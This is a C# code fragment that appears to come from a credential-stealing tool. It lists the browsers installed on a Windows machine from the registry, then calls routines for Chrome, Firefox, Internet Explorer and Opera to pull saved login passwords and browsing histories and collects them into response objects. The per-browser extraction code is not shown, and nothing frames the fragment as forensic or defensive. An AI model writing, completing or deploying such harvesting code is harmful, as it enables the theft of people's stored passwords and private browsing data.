/// <summary> /// Gets the browser list. /// </summary> /// <returns>return OnGetBrowserListResponse browser name installed on the current system from regedit</returns> public static OnGetBrowserListResponse OnGetBrowserList() { OnGetBrowserListResponse ROnGetBrowserListResponse = new OnGetBrowserListResponse(); try { RegistryKey browserKeys; browserKeys = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\WOW6432Node\Clients\StartMenuInternet"); if (browserKeys == null) { browserKeys = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Clients\StartMenuInternet"); } ROnGetBrowserListResponse.BrowserList.AddRange(browserKeys.GetSubKeyNames()); } catch (Exception ex) { ROnGetBrowserListResponse.Errors.AddErrorToErrorList(MethodBase.GetCurrentMethod().ToString(), ex.Message); } return(ROnGetBrowserListResponse); }
/// <summary> /// Called when [get all browser passwords]. /// </summary> /// <returns>OnGetAllBrowserPasswordsResponse class object</returns> public static OnGetAllBrowserPasswordsResponse OnGetAllBrowserPasswords() { OnGetAllBrowserPasswordsResponse ROnGetAllBrowserPasswordsResponse = new OnGetAllBrowserPasswordsResponse(); try { OnGetBrowserListResponse Browsers = OnGetBrowserList(); string BrowserSavedLoginsDataToParse = ""; foreach (string BrowserName in Browsers.BrowserList) { if (BrowserName == "Google Chrome") { BrowserSavedLoginsDataToParse = Chrome.Chrome.OnGetChromePasswords(); } else if (BrowserName == "FIREFOX.EXE") { BrowserSavedLoginsDataToParse = Firefox.Firefox.OnGetFirefoxPassword(); } else if (BrowserName == "IEXPLORE.EXE") { BrowserSavedLoginsDataToParse = IE.IE.OnGetIEPassword(); } else if (BrowserName == "OperaStable") { BrowserSavedLoginsDataToParse = Opera.Opera.OnGetOperaPassword(); } BrowserSavedLoginsDataParse(ROnGetAllBrowserPasswordsResponse, BrowserSavedLoginsDataToParse, BrowserName); } } catch (Exception ex) { ROnGetAllBrowserPasswordsResponse.Errors.AddErrorToErrorList(MethodBase.GetCurrentMethod().ToString(), ex.Message); } return(ROnGetAllBrowserPasswordsResponse); }
/// <summary> /// Called when [get all browser histories]. /// </summary> /// <returns> OnGetAllBrowserBookmarksResponse because history node and bookmark node is same</returns> public static OnGetAllBrowserBookmarksResponse OnGetAllBrowserHistories() { OnGetAllBrowserBookmarksResponse ROnGetAllBrowserBookmarksResponse = new OnGetAllBrowserBookmarksResponse(); try { OnGetBrowserListResponse Browsers = OnGetBrowserList(); List <BrowserHistory_Node> HistoriesToParse = null; foreach (string BrowserName in Browsers.BrowserList) { if (BrowserName == "Google Chrome") { HistoriesToParse = Chrome.Chrome.OnGetChromeHistory(); } else if (BrowserName == "FIREFOX.EXE") { HistoriesToParse = Firefox.Firefox.OnGetFirefoxHistory(); } else if (BrowserName == "IEXPLORE.EXE") { HistoriesToParse = IE.IE.OnGetIEHistory(); } else if (BrowserName == "OperaStable") { HistoriesToParse = Opera.Opera.OnGetOperaHistory(); } BrowserBookmarksDataParse(ROnGetAllBrowserBookmarksResponse, HistoriesToParse, BrowserName); } } catch (Exception ex) { ROnGetAllBrowserBookmarksResponse.Errors.AddErrorToErrorList(MethodBase.GetCurrentMethod().ToString(), ex.Message); } return(ROnGetAllBrowserBookmarksResponse); }